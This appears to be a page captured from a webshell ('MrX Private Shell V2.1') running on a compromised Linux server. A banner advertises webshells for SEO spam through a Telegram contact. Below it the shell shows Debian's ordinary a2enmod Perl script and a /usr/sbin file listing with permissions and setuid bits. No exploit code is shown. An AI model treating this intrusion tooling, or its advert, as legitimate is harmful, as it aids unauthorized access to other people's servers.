__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/perl -w
#
# a2enmod by Stefan Fritsch <sf@debian.org>
# Licensed under Apache License 2.0
#
# The coding style is "perltidy -pbp"
use strict;
use Cwd 'realpath';
use File::Spec;
use File::Basename;
use File::Path;
use Getopt::Long;
use 5.014;
no if $] >= 5.017011, warnings => 'experimental::smartmatch';
my $quiet;
my $force;
my $maintmode;
my $purge;
Getopt::Long::Configure('bundling');
GetOptions(
'quiet|q' => \$quiet,
'force|f' => \$force,
'maintmode|m' => \$maintmode,
'purge|p' => \$purge
) or exit 2;
my $basename = basename($0);
$basename =~ /^a2(en|dis)(mod|site|conf)((?:-.+)?)$/
or die "$basename call name unknown\n";
my $act = $1;
my $obj = $2;
my $dir_suffix = $3;
my @essential_module_list = qw(alias auth_basic authn_file authz_host
authz_user autoindex deflate dir env filter logio mime negotiation
setenvif unixd version watchdog);
my $env_file = $ENV{APACHE_ENVVARS};
if ( !$env_file ) {
if ( $ENV{APACHE_CONFDIR} ) {
$env_file = "$ENV{APACHE_CONFDIR}/envvars";
}
else {
$env_file = "/etc/apache2$dir_suffix/envvars";
}
}
$ENV{LANG} = 'C';
read_env_file($env_file);
$act .= 'able';
my ( $name, $dir, $sffx, $reload );
if ( $obj eq 'mod' ) {
$obj = 'module';
$dir = 'mods';
$sffx = '.load';
$reload = 'restart';
}
elsif ( $obj eq 'conf' ) {
$obj = 'conf';
$dir = 'conf';
$sffx = '.conf';
$reload = 'reload';
}
else {
$dir = 'sites';
$sffx = '.conf';
$reload = 'reload';
}
$name = ucfirst($obj);
my $confdir = $ENV{APACHE_CONFDIR} || "/etc/apache2$dir_suffix";
my $availdir = $ENV{ uc("APACHE_${dir}_AVAILABLE") }
|| "$confdir/$dir-available";
my $enabldir = $ENV{ uc("APACHE_${dir}_ENABLED") } || "$confdir/$dir-enabled";
my $statedir = $ENV{ uc("APACHE_STATE_DIRECTORY") } || "/var/lib/apache2";
$statedir .= "/$obj";
my $choicedir = $act eq 'enable' ? $availdir : $enabldir;
my $linkdir = File::Spec->abs2rel( $availdir, $enabldir );
my $request_reload = 0;
my $request_htcacheclean;
my $htc = "apache-htcacheclean$dir_suffix";
my $htc_service = "apache-htcacheclean"; # Service name for systemd
my $apache_service = "apache2";
if ( defined($dir_suffix) and $dir_suffix ne '' ) {
# Uses '@instance.service' suffix instead of '-instance' suffix
my $service_suffix = '@' . substr( $dir_suffix, 1 ) . '.service';
$htc_service .= $service_suffix;
$apache_service .= $service_suffix;
}
my $rc = 0;
if ( !scalar @ARGV ) {
my @choices = myglob('*');
print "Your choices are: @choices\n";
print "Which ${obj}(s) do you want to $act (wildcards ok)?\n";
my $input = <>;
@ARGV = split /\s+/, $input;
}
my @objs;
foreach my $arg (@ARGV) {
$arg =~ s/${sffx}$//;
my @glob = myglob($arg);
if ( !@glob ) {
error("No $obj found matching $arg!\n");
$rc = 1;
}
else {
push @objs, @glob;
}
}
foreach my $acton (@objs) {
doit($acton) or $rc = 1;
}
my $htcstart = "";
my $apache_reload = "";
my $cmd = ( $act eq "enable" ) ? "start" : "stop";
if ( is_systemd() ) {
$htcstart = " systemctl $cmd $htc_service\n";
$apache_reload = " systemctl $reload $apache_service\n";
}
else {
$htcstart = " service $htc $cmd\n";
$apache_reload = " service apache2$dir_suffix $reload\n";
}
info( "To activate the new configuration, you need to run:\n"
. $apache_reload
. ( $request_htcacheclean ? $htcstart : "" ) )
if $request_reload;
exit($rc);
##############################################################################
sub myglob {
my $arg = shift;
my @glob = map {
s{^$choicedir/}{};
s{$sffx$}{};
$_
} glob("$choicedir/$arg$sffx");
return @glob;
}
sub doit {
my $acton = shift;
my ( $conftgt, $conflink );
if ( $obj eq 'module' ) {
if ( $act eq 'enable' && $acton eq 'cgi' && threaded() ) {
print
"Your MPM seems to be threaded. Selecting cgid instead of cgi.\n";
$acton = 'cgid';
}
$conftgt = "$availdir/$acton.conf";
if ( -e $conftgt ) {
$conflink = "$enabldir/$acton.conf";
}
}
my $tgt = "$availdir/$acton$sffx";
my $link = "$enabldir/$acton$sffx";
if ( !-e $tgt ) {
if ( -l $link && !-e $link ) {
if ( $act eq 'disable' ) {
info("removing dangling symlink $link\n");
unlink($link);
# force a .conf path. It may exist as dangling link, too
$conflink = "$enabldir/$acton.conf";
if ( -l $conflink && !-e $conflink ) {
info("removing dangling symlink $conflink\n");
unlink($conflink);
}
return 1;
}
else {
error("$link is a dangling symlink!\n");
}
}
if ($purge) {
switch_marker( $obj, $act, $acton );
# exit silently, we are purging anyway
return 1;
}
error("$name $acton does not exist!\n");
return 0;
}
# handle module dependencies
if ( $obj eq 'module' ) {
if ( $act eq 'enable' ) {
my @depends = get_deps("$availdir/$acton.load");
do_deps( $acton, @depends ) or return 0;
my @conflicts = get_deps( "$availdir/$acton.load", "Conflicts" );
check_conflicts( $acton, @conflicts ) or return 0;
}
else {
my @depending;
foreach my $d ( glob("$enabldir/*.load") ) {
my @deps = get_deps($d);
if ( is_in( $acton, @deps ) ) {
$d =~ m,/([^/]+).load$,;
push @depending, $1;
}
}
if ( scalar @depending ) {
if ($force) {
do_deps( $acton, @depending ) or return 0;
}
else {
error(
"The following modules depend on $acton ",
"and need to be disabled first: @depending\n"
);
return 0;
}
}
}
}
elsif ( $act eq 'enable' ) {
my @depends = get_deps("$availdir/$acton$sffx");
warn_deps( $acton, @depends ) or return 0;
}
if ( $act eq 'enable' ) {
my $check = check_link( $tgt, $link );
if ( $check eq 'ok' ) {
if ($conflink) {
# handle .conf file
my $confcheck = check_link( $conftgt, $conflink );
if ( $confcheck eq 'ok' ) {
info("$name $acton already enabled\n");
return 1;
}
elsif ( $confcheck eq 'missing' ) {
print "Enabling config file $acton.conf.\n";
add_link( $conftgt, $conflink ) or return 0;
}
else {
error(
"Config file $acton.conf not properly enabled: $confcheck\n"
);
return 0;
}
}
else {
info("$name $acton already enabled\n");
return 1;
}
}
elsif ( $check eq 'missing' ) {
if ($conflink) {
# handle .conf file
my $confcheck = check_link( $conftgt, $conflink );
if ( $confcheck eq 'missing' ) {
add_link( $conftgt, $conflink ) or return 0;
}
elsif ( $confcheck ne 'ok' ) {
error(
"Config file $acton.conf not properly enabled: $confcheck\n"
);
return 0;
}
}
print "Enabling $obj $acton.\n";
special_module_handling($acton);
return add_link( $tgt, $link )
&& switch_marker( $obj, $act, $acton );
}
else {
error("$name $acton not properly enabled: $check\n");
return 0;
}
}
else {
if ( -e $link || -l $link ) {
special_module_handling($acton);
if ( $obj eq 'module' && grep { $_ eq $acton }
@essential_module_list )
{
$force || essential_module_handling($acton);
}
remove_link($link);
if ( $conflink && -e $conflink ) {
remove_link($conflink);
}
switch_marker( $obj, $act, $acton );
print "$name $acton disabled.\n";
}
elsif ( $conflink && -e $conflink ) {
print "Disabling stale config file $acton.conf.\n";
remove_link($conflink);
}
else {
info("$name $acton already disabled\n");
if ($purge) {
switch_marker( $obj, $act, $acton );
}
return 1;
}
}
return 1;
}
sub get_deps {
my $file = shift;
my $type = shift || "Depends";
my $fd;
if ( !open( $fd, '<', $file ) ) {
error("Can't open $file: $!");
return;
}
my $line;
while ( defined( $line = <$fd> ) ) {
chomp $line;
if ( $line =~ /^# $type:\s+(.*?)\s*$/ ) {
my $deps = $1;
return split( /[\n\s]+/, $deps );
}
# only check until the first non-empty non-comment line
last if ( $line !~ /^\s*(?:#.*)?$/ );
}
return;
}
sub do_deps {
my $acton = shift;
foreach my $d (@_) {
info("Considering dependency $d for $acton:\n");
if ( !doit($d) ) {
error("Could not $act dependency $d for $acton, aborting\n");
return 0;
}
}
return 1;
}
sub warn_deps {
my $acton = shift;
my $modsenabldir = $ENV{APACHE_MODS_ENABLED} || "$confdir/mods-enabled";
foreach my $d (@_) {
info("Checking dependency $d for $acton:\n");
if ( !-e "$modsenabldir/$d.load" ) {
warning(
"Module $d is not enabled, but $acton depends on it, aborting\n"
);
return 0;
}
}
return 1;
}
sub check_conflicts {
my $acton = shift;
my $haderror = 0;
foreach my $d (@_) {
info("Considering conflict $d for $acton:\n");
my $tgt = "$availdir/$d$sffx";
my $link = "$enabldir/$d$sffx";
my $confcheck = check_link( $tgt, $link );
if ( $confcheck eq 'ok' ) {
error(
"Module $d is enabled - cannot proceed due to conflicts. It needs to be disabled first!\n"
);
# Don't return immediately, there could be several conflicts
$haderror++;
}
}
if ($haderror) {
return 0;
}
return 1;
}
sub add_link {
my ( $tgt, $link ) = @_;
# create relative link
if ( !symlink( File::Spec->abs2rel( $tgt, dirname($link) ), $link ) ) {
die("Could not create $link: $!\n");
}
$request_reload = 1;
return 1;
}
sub check_link {
my ( $tgt, $link ) = @_;
if ( !-e $link ) {
if ( -l $link ) {
# points to nowhere
info("Removing dangling link $link");
unlink($link) or die "Could not remove $link\n";
}
return 'missing';
}
if ( -e $link && !-l $link ) {
return "$link is a real file, not touching it";
}
if ( realpath($link) ne realpath($tgt) ) {
return "$link exists but does not point to $tgt, not touching it";
}
return 'ok';
}
sub remove_link {
my ($link) = @_;
if ( -l $link ) {
unlink($link) or die "Could not remove $link: $!\n";
}
elsif ( -e $link ) {
error("$link is not a symbolic link, not deleting\n");
return 0;
}
$request_reload = 1;
return 1;
}
sub threaded {
my $result = "";
$result = qx{/usr/sbin/apache2ctl -V | grep 'threaded'}
if -x '/usr/sbin/apache2ctl';
if ( $? != 0 ) {
# config doesn't work
if ( -e "$enabldir/mpm_prefork.load" ) {
return 0;
}
elsif (-e "$enabldir/mpm_worker.load"
|| -e "$enabldir/mpm_event.load" )
{
return 1;
}
else {
error("Can't determine enabled MPM");
# do what user requested
return 0;
}
}
if ( $result =~ / no/ ) {
return 0;
}
elsif ( $result =~ / yes/ ) {
return 1;
}
else {
die("Can't parse output from apache2ctl -V:\n$result\n");
}
}
sub info {
print @_ if !$quiet;
}
sub error {
print STDERR 'ERROR: ', @_;
}
sub warning {
print STDERR 'WARNING: ', @_;
}
sub is_in {
my $needle = shift;
foreach my $e (@_) {
return 1 if $needle eq $e;
}
return 0;
}
sub read_env_file {
my $file = shift;
-r $file or return;
my @lines = qx{env - sh -c '. $file && env'};
if ($?) {
die "Could not read $file\n";
}
foreach my $l (@lines) {
chomp $l;
$l =~ /^(.*)?=(.*)$/ or die "Could not parse $file\n";
$ENV{$1} = $2;
}
}
sub switch_marker {
die('usage: switch_marker([module|site|conf], [enable|disable], $name)')
if @_ != 3;
my $which = shift;
my $what = shift;
my $name = shift;
my $mode = "admin";
$mode = "maint" if $maintmode;
#print("switch_marker $which $what $name\n");
# TODO: get rid of the magic string(s)
my $state_marker_dir = "$statedir/$what" . "d" . "_by_$mode";
my $state_marker = "$state_marker_dir/$name";
if ( !-d $state_marker_dir ) {
File::Path::mkpath("$state_marker_dir")
|| error("Failed to create marker directory: '$state_marker_dir'\n");
}
# XXX: swap find with perl alternative
my @markers = qx{find "$statedir" -type f -a -name "$name"};
chomp(@markers);
foreach (@markers) {
unless ( unlink $_ ) {
error("Failed to remove old marker '$_'!\n") && return 0;
}
}
unless ($purge) {
qx{touch "$state_marker"};
if ( $? != 0 ) {
error("Failed to create marker '$state_marker'!\n") && return 0;
}
return 1;
}
}
sub essential_module_handling {
my $module = shift;
print "WARNING: The following essential module will be disabled.\n";
print "This might result in unexpected behavior and should NOT be done\n";
print "unless you know exactly what you are doing!\n $module\n\n";
print
"To continue type in the phrase 'Yes, do as I say!' or retry by passing '-f': ";
my $input = <STDIN>;
chomp($input);
if ( $input ne 'Yes, do as I say!' ) {
print("Aborting\n");
exit(1);
}
}
sub special_module_handling {
my $acton = shift;
if ( $obj ne 'module' ) {
return;
}
if ( $acton eq 'ssl' ) {
if ( $act eq 'enable' ) {
info( "See /usr/share/doc/apache2/README.Debian.gz on "
. "how to configure SSL and create self-signed "
. "certificates.\n" );
}
}
elsif ( $acton eq 'cache_disk' ) {
$request_htcacheclean = 1;
my $verb = "\u$act";
my $command;
$verb =~ s/e$/ing/;
if ( -d "/run/systemd" and -x "/bin/systemctl" ) {
info("$verb external service $htc_service\n");
$command = "systemctl $act $htc_service";
}
else {
info("$verb external service $htc\n");
$command = "update-rc.d $htc $act";
}
my $res = system($command);
if ( $res == 0 ) {
info("The service will be started on next reboot.\n")
if $act eq 'enable';
}
else {
warning("'$command' failed\n");
}
}
}
sub is_systemd {
my $init = readlink("/proc/1/exe") || "";
return scalar $init =~ /systemd/;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| NetworkManager | File | 3.7 MB | 0755 |
|
| a2disconf | File | 15.75 KB | 0755 |
|
| a2dismod | File | 15.75 KB | 0755 |
|
| a2dissite | File | 15.75 KB | 0755 |
|
| a2enconf | File | 15.75 KB | 0755 |
|
| a2enmod | File | 15.75 KB | 0755 |
|
| a2ensite | File | 15.75 KB | 0755 |
|
| a2query | File | 9.6 KB | 0755 |
|
| aa-load | File | 66.61 KB | 0755 |
|
| aa-remove-unknown | File | 3.15 KB | 0755 |
|
| aa-status | File | 66.91 KB | 0755 |
|
| aa-teardown | File | 137 B | 0755 |
|
| accessdb | File | 66.38 KB | 0755 |
|
| add-shell | File | 1.03 KB | 0755 |
|
| addgnupghome | File | 3 KB | 0755 |
|
| addgroup | File | 58.03 KB | 0755 |
|
| adduser | File | 58.03 KB | 0755 |
|
| agetty | File | 131.52 KB | 0755 |
|
| alsa-info | File | 29.3 KB | 0755 |
|
| alsabat-test | File | 4.04 KB | 0755 |
|
| alsactl | File | 131.46 KB | 0755 |
|
| apache2 | File | 784.32 KB | 0755 |
|
| apache2ctl | File | 7.26 KB | 0755 |
|
| apachectl | File | 7.26 KB | 0755 |
|
| apparmor_parser | File | 1.65 MB | 0755 |
|
| apparmor_status | File | 66.91 KB | 0755 |
|
| applygnupgdefaults | File | 2.17 KB | 0755 |
|
| arp | File | 69.88 KB | 0755 |
|
| arpd | File | 146.46 KB | 0755 |
|
| aspell-autobuildhash | File | 13.39 KB | 0755 |
|
| avahi-daemon | File | 194.35 KB | 0755 |
|
| badblocks | File | 66.18 KB | 0755 |
|
| blkdeactivate | File | 15.97 KB | 0755 |
|
| blkdiscard | File | 66.32 KB | 0755 |
|
| blkid | File | 194.35 KB | 0755 |
|
| blkmapd | File | 66.3 KB | 0755 |
|
| blkzone | File | 130.32 KB | 0755 |
|
| blockdev | File | 130.32 KB | 0755 |
|
| bluetoothd | File | 1.72 MB | 0755 |
|
| bridge | File | 210.49 KB | 0755 |
|
| capsh | File | 68.92 KB | 0755 |
|
| cfdisk | File | 130.66 KB | 0755 |
|
| cgdisk | File | 258.34 KB | 0755 |
|
| chat | File | 66.17 KB | 0755 |
|
| chcpu | File | 66.31 KB | 0755 |
|
| check_forensic | File | 952 B | 0755 |
|
| chgpasswd | File | 70.16 KB | 0755 |
|
| chmem | File | 130.32 KB | 0755 |
|
| chpasswd | File | 138.79 KB | 0755 |
|
| chroot | File | 66.45 KB | 0755 |
|
| cifs.idmap | File | 66.24 KB | 0755 |
|
| cifs.upcall | File | 66.45 KB | 0755 |
|
| cron | File | 66.52 KB | 0755 |
|
| cups-browsed | File | 258.75 KB | 0755 |
|
| cupsaccept | File | 66.16 KB | 0755 |
|
| cupsctl | File | 66.24 KB | 0755 |
|
| cupsd | File | 514.72 KB | 0755 |
|
| cupsdisable | File | 66.16 KB | 0755 |
|
| cupsenable | File | 66.16 KB | 0755 |
|
| cupsfilter | File | 66.45 KB | 0755 |
|
| cupsreject | File | 66.16 KB | 0755 |
|
| dbconfig-generate-include | File | 12.36 KB | 0755 |
|
| dbconfig-load-include | File | 5.57 KB | 0755 |
|
| dcb | File | 210.56 KB | 0755 |
|
| ddns-confgen | File | 66.16 KB | 0755 |
|
| debugfs | File | 265.69 KB | 0755 |
|
| delgroup | File | 20.71 KB | 0755 |
|
| deluser | File | 20.71 KB | 0755 |
|
| depmod | File | 194.29 KB | 0755 |
|
| devlink | File | 274.88 KB | 0755 |
|
| dhcpcd | File | 395.2 KB | 0755 |
|
| dmidecode | File | 194.99 KB | 0755 |
|
| dmsetup | File | 194.13 KB | 0755 |
|
| dmstats | File | 194.13 KB | 0755 |
|
| dnsmasq | File | 521.18 KB | 0755 |
|
| dosfsck | File | 130.25 KB | 0755 |
|
| dosfslabel | File | 66.24 KB | 0755 |
|
| dpkg-preconfigure | File | 4.46 KB | 0755 |
|
| dpkg-reconfigure | File | 4.43 KB | 0755 |
|
| dump.exfat | File | 66.68 KB | 0755 |
|
| dumpe2fs | File | 66.17 KB | 0755 |
|
| e2freefrag | File | 66.16 KB | 0755 |
|
| e2fsck | File | 404.27 KB | 0755 |
|
| e2image | File | 66.37 KB | 0755 |
|
| e2label | File | 130.41 KB | 0755 |
|
| e2mmpstatus | File | 66.17 KB | 0755 |
|
| e2scrub | File | 7.36 KB | 0755 |
|
| e2scrub_all | File | 4.91 KB | 0755 |
|
| e2undo | File | 66.16 KB | 0755 |
|
| e4crypt | File | 66.24 KB | 0755 |
|
| e4defrag | File | 66.16 KB | 0755 |
|
| ethtool | File | 708.38 KB | 0755 |
|
| eventlogadm | File | 578.23 KB | 0755 |
|
| exfat2img | File | 66.3 KB | 0755 |
|
| exfatlabel | File | 66.33 KB | 0755 |
|
| faillock | File | 66.17 KB | 0755 |
|
| fatlabel | File | 66.24 KB | 0755 |
|
| fdisk | File | 194.34 KB | 0755 |
|
| filefrag | File | 66.19 KB | 0755 |
|
| findfs | File | 66.31 KB | 0755 |
|
| fixparts | File | 130.34 KB | 0755 |
|
| flashrom | File | 834.55 KB | 0755 |
|
| fsck | File | 66.32 KB | 0755 |
|
| fsck.exfat | File | 67.1 KB | 0755 |
|
| fsck.ext2 | File | 404.27 KB | 0755 |
|
| fsck.ext3 | File | 404.27 KB | 0755 |
|
| fsck.ext4 | File | 404.27 KB | 0755 |
|
| fsck.fat | File | 130.25 KB | 0755 |
|
| fsck.msdos | File | 130.25 KB | 0755 |
|
| fsck.vfat | File | 130.25 KB | 0755 |
|
| fsfreeze | File | 66.31 KB | 0755 |
|
| fstab-decode | File | 66.17 KB | 0755 |
|
| fstrim | File | 130.32 KB | 0755 |
|
| gdisk | File | 258.34 KB | 0755 |
|
| genl | File | 146.46 KB | 0755 |
|
| getcap | File | 66.16 KB | 0755 |
|
| getpcaps | File | 66.16 KB | 0755 |
|
| getty | File | 131.52 KB | 0755 |
|
| groupadd | File | 138.77 KB | 0755 |
|
| groupdel | File | 138.59 KB | 0755 |
|
| groupmod | File | 138.74 KB | 0755 |
|
| grpck | File | 70.16 KB | 0755 |
|
| grpconv | File | 70.02 KB | 0755 |
|
| grpunconv | File | 70.02 KB | 0755 |
|
| halt | File | 323.73 KB | 0755 |
|
| httxt2dbm | File | 66.17 KB | 0755 |
|
| i2c-stub-from-dump | File | 5.24 KB | 0755 |
|
| i2cdetect | File | 66.24 KB | 0755 |
|
| i2cdump | File | 66.24 KB | 0755 |
|
| i2cget | File | 66.24 KB | 0755 |
|
| i2cset | File | 66.24 KB | 0755 |
|
| i2ctransfer | File | 66.24 KB | 0755 |
|
| iconvconfig | File | 66.23 KB | 0755 |
|
| ifconfig | File | 133.75 KB | 0755 |
|
| init | File | 130.45 KB | 0755 |
|
| insmod | File | 194.29 KB | 0755 |
|
| install-sgmlcatalog | File | 4.44 KB | 0755 |
|
| installkernel | File | 2.65 KB | 0755 |
|
| invoke-rc.d | File | 16.13 KB | 0755 |
|
| ip | File | 731.48 KB | 0755 |
|
| ipmaddr | File | 66.52 KB | 0755 |
|
| ipp-usb | File | 5.92 MB | 0755 |
|
| ippevepcl | File | 66.17 KB | 0755 |
|
| ippeveprinter | File | 194.25 KB | 0755 |
|
| ippeveps | File | 66.17 KB | 0755 |
|
| iptunnel | File | 66.52 KB | 0755 |
|
| isosize | File | 66.32 KB | 0755 |
|
| ispell-autobuildhash | File | 15.52 KB | 0755 |
|
| iw | File | 335.52 KB | 0755 |
|
| iwconfig | File | 66.53 KB | 0755 |
|
| iwevent | File | 66.52 KB | 0755 |
|
| iwgetid | File | 66.34 KB | 0755 |
|
| iwlist | File | 66.65 KB | 0755 |
|
| iwpriv | File | 66.41 KB | 0755 |
|
| iwspy | File | 66.3 KB | 0755 |
|
| kbdrate | File | 66.7 KB | 0755 |
|
| key.dns_resolver | File | 66.26 KB | 0755 |
|
| killall5 | File | 66.29 KB | 0755 |
|
| ldattach | File | 66.32 KB | 0755 |
|
| ldconfig | File | 840.57 KB | 0755 |
|
| libgvc6-config-update | File | 66.43 KB | 0755 |
|
| lightdm | File | 322.09 KB | 0755 |
|
| lightdm-gtk-greeter | File | 194.2 KB | 0755 |
|
| locale-gen | File | 1.52 KB | 0755 |
|
| logrotate | File | 130.1 KB | 0755 |
|
| logsave | File | 66.02 KB | 0755 |
|
| losetup | File | 194.45 KB | 0755 |
|
| lpadmin | File | 66.16 KB | 0755 |
|
| lpinfo | File | 66.16 KB | 0755 |
|
| lpmove | File | 66.16 KB | 0755 |
|
| lsmod | File | 194.29 KB | 0755 |
|
| make-ssl-cert | File | 6.65 KB | 0755 |
|
| mariadbd | File | 26.48 MB | 0755 |
|
| mii-tool | File | 66.99 KB | 0755 |
|
| mkdosfs | File | 66.77 KB | 0755 |
|
| mke2fs | File | 194.48 KB | 0755 |
|
| mkfs | File | 66.31 KB | 0755 |
|
| mkfs.exfat | File | 66.24 KB | 0755 |
|
| mkfs.ext2 | File | 194.48 KB | 0755 |
|
| mkfs.ext3 | File | 194.48 KB | 0755 |
|
| mkfs.ext4 | File | 194.48 KB | 0755 |
|
| mkfs.fat | File | 66.77 KB | 0755 |
|
| mkfs.msdos | File | 66.77 KB | 0755 |
|
| mkfs.ntfs | File | 130.27 KB | 0755 |
|
| mkfs.vfat | File | 66.77 KB | 0755 |
|
| mkhomedir_helper | File | 66.19 KB | 0755 |
|
| mkinitramfs | File | 14.96 KB | 0755 |
|
| mklost+found | File | 66.16 KB | 0755 |
|
| mkntfs | File | 130.27 KB | 0755 |
|
| mkswap | File | 194.32 KB | 0755 |
|
| modinfo | File | 194.29 KB | 0755 |
|
| modprobe | File | 194.29 KB | 0755 |
|
| mount.cifs | File | 66.98 KB | 4755 |
|
| mount.fuse | File | 66.23 KB | 0755 |
|
| mount.fuse3 | File | 66.23 KB | 0755 |
|
| mount.lowntfs-3g | File | 130.84 KB | 0755 |
|
| mount.nfs | File | 194.88 KB | 4755 |
|
| mount.nfs4 | File | 194.88 KB | 4755 |
|
| mount.ntfs | File | 194.88 KB | 4755 |
|
| mount.ntfs-3g | File | 194.88 KB | 4755 |
|
| mount.smb3 | File | 66.98 KB | 4755 |
|
| mountstats | File | 42.59 KB | 0755 |
|
| mysqld | File | 26.48 MB | 0755 |
|
| named | File | 590.13 KB | 0755 |
|
| nameif | File | 66.63 KB | 0755 |
|
| netplan | File | 803 B | 0755 |
|
| newusers | File | 138.65 KB | 0755 |
|
| nfsconf | File | 66.64 KB | 0755 |
|
| nfsidmap | File | 66.3 KB | 0755 |
|
| nfsiostat | File | 23.59 KB | 0755 |
|
| nfsstat | File | 69.09 KB | 0755 |
|
| nft | File | 66.09 KB | 0755 |
|
| nmbd | File | 258.2 KB | 0755 |
|
| nologin | File | 66.31 KB | 0755 |
|
| ntfsclone | File | 66.28 KB | 0755 |
|
| ntfscp | File | 66.27 KB | 0755 |
|
| ntfslabel | File | 66.27 KB | 0755 |
|
| ntfsresize | File | 130.28 KB | 0755 |
|
| ntfsundelete | File | 66.27 KB | 0755 |
|
| pam-auth-update | File | 20.94 KB | 0755 |
|
| pam_getenv | File | 2.82 KB | 0755 |
|
| pam_namespace_helper | File | 467 B | 0755 |
|
| pam_timestamp_check | File | 66.17 KB | 0755 |
|
| paperconfig | File | 3.55 KB | 0755 |
|
| parted | File | 130.43 KB | 0755 |
|
| partprobe | File | 66.23 KB | 0755 |
|
| phpdismod | File | 7.11 KB | 0755 |
|
| phpenmod | File | 7.11 KB | 0755 |
|
| phpquery | File | 6.24 KB | 0755 |
|
| pi-greeter | File | 67.48 KB | 0755 |
|
| pivot_root | File | 66.31 KB | 0755 |
|
| plipconfig | File | 66.45 KB | 0755 |
|
| plymouth-set-default-theme | File | 6.78 KB | 0755 |
|
| plymouthd | File | 196.2 KB | 0755 |
|
| poweroff | File | 323.73 KB | 0755 |
|
| pppd | File | 473.91 KB | 4754 |
|
| pppdump | File | 66.16 KB | 0755 |
|
| pppoe-discovery | File | 66.16 KB | 0755 |
|
| pppstats | File | 66.16 KB | 0755 |
|
| pwck | File | 70.15 KB | 0755 |
|
| pwconv | File | 70.01 KB | 0755 |
|
| pwhistory_helper | File | 66.17 KB | 0755 |
|
| pwunconv | File | 70.02 KB | 0755 |
|
| rarp | File | 68.89 KB | 0755 |
|
| readprofile | File | 66.35 KB | 0755 |
|
| reboot | File | 323.73 KB | 0755 |
|
| remove-default-ispell | File | 2.86 KB | 0755 |
|
| remove-default-wordlist | File | 2.86 KB | 0755 |
|
| remove-shell | File | 1.08 KB | 0755 |
|
| request-key | File | 66.18 KB | 0755 |
|
| resize2fs | File | 66.16 KB | 0755 |
|
| rfkill | File | 66.16 KB | 0755 |
|
| rmmod | File | 194.29 KB | 0755 |
|
| rmt | File | 67.12 KB | 0755 |
|
| rmt-tar | File | 67.12 KB | 0755 |
|
| rndc | File | 66.17 KB | 0755 |
|
| rndc-confgen | File | 66.16 KB | 0755 |
|
| route | File | 69.04 KB | 0755 |
|
| rpc.gssd | File | 130.55 KB | 0755 |
|
| rpc.idmapd | File | 74.47 KB | 0755 |
|
| rpc.statd | File | 134.91 KB | 0755 |
|
| rpc.svcgssd | File | 66.46 KB | 0755 |
|
| rpcbind | File | 66.4 KB | 0755 |
|
| rpcctl | File | 11.56 KB | 0755 |
|
| rpcdebug | File | 66.24 KB | 0755 |
|
| rpcinfo | File | 66.54 KB | 0755 |
|
| rtacct | File | 146.42 KB | 0755 |
|
| rtcwake | File | 66.32 KB | 0755 |
|
| rtmon | File | 146.43 KB | 0755 |
|
| runlevel | File | 323.73 KB | 0755 |
|
| runuser | File | 130.34 KB | 0755 |
|
| samba | File | 66.04 KB | 0755 |
|
| samba-gpupdate | File | 5.89 KB | 0755 |
|
| samba_dnsupdate | File | 32.32 KB | 0755 |
|
| samba_kcc | File | 11.9 KB | 0755 |
|
| samba_spnupdate | File | 7.92 KB | 0755 |
|
| samba_upgradedns | File | 21.66 KB | 0755 |
|
| saned | File | 66.66 KB | 0755 |
|
| select-default-ispell | File | 3.23 KB | 0755 |
|
| select-default-wordlist | File | 3.21 KB | 0755 |
|
| service | File | 9 KB | 0755 |
|
| setcap | File | 66.16 KB | 0755 |
|
| setvesablank | File | 66.46 KB | 0755 |
|
| sfdisk | File | 194.31 KB | 0755 |
|
| sgdisk | File | 258.34 KB | 0755 |
|
| shadowconfig | File | 1.94 KB | 0755 |
|
| showmount | File | 66.43 KB | 0755 |
|
| shutdown | File | 323.73 KB | 0755 |
|
| slattach | File | 68.98 KB | 0755 |
|
| sm-notify | File | 134.45 KB | 0755 |
|
| smbd | File | 130.23 KB | 0755 |
|
| split-logfile | File | 2.36 KB | 0755 |
|
| sshd | File | 578.77 KB | 0755 |
|
| start-statd | File | 1 KB | 0755 |
|
| start-stop-daemon | File | 67.35 KB | 0755 |
|
| sudo_logsrvd | File | 325.07 KB | 0755 |
|
| sudo_sendlog | File | 195.91 KB | 0755 |
|
| sulogin | File | 66.32 KB | 0755 |
|
| swaplabel | File | 66.31 KB | 0755 |
|
| swapoff | File | 66.31 KB | 0755 |
|
| swapon | File | 66.31 KB | 0755 |
|
| switch_root | File | 66.35 KB | 0755 |
|
| sysctl | File | 66.28 KB | 0755 |
|
| tarcat | File | 936 B | 0755 |
|
| tc | File | 603.02 KB | 0755 |
|
| telinit | File | 323.73 KB | 0755 |
|
| tipc | File | 210.73 KB | 0755 |
|
| tsig-keygen | File | 66.16 KB | 0755 |
|
| tune.exfat | File | 66.52 KB | 0755 |
|
| tune2fs | File | 130.41 KB | 0755 |
|
| umount.nfs | File | 194.88 KB | 4755 |
|
| umount.nfs4 | File | 194.88 KB | 4755 |
|
| umount.udisks2 | File | 66.16 KB | 0755 |
|
| unix_chkpwd | File | 66.18 KB | 2755 |
|
| unix_update | File | 66.18 KB | 0755 |
|
| update-ca-certificates | File | 5.54 KB | 0755 |
|
| update-catalog | File | 9.17 KB | 0755 |
|
| update-default-aspell | File | 1 KB | 0755 |
|
| update-default-ispell | File | 9.68 KB | 0755 |
|
| update-default-wordlist | File | 7.5 KB | 0755 |
|
| update-dictcommon-aspell | File | 1 KB | 0755 |
|
| update-dictcommon-hunspell | File | 782 B | 0755 |
|
| update-fonts-alias | File | 5.71 KB | 0755 |
|
| update-fonts-dir | File | 3.98 KB | 0755 |
|
| update-fonts-scale | File | 6.1 KB | 0755 |
|
| update-gsfontmap | File | 390 B | 0755 |
|
| update-icon-caches | File | 596 B | 0755 |
|
| update-inetd | File | 5.83 KB | 0755 |
|
| update-initramfs | File | 8.76 KB | 0755 |
|
| update-locale | File | 3.02 KB | 0755 |
|
| update-mime | File | 9.83 KB | 0755 |
|
| update-passwd | File | 66.41 KB | 0755 |
|
| update-pciids | File | 2.12 KB | 0755 |
|
| update-rc.d | File | 17.72 KB | 0755 |
|
| update-shells | File | 3.97 KB | 0755 |
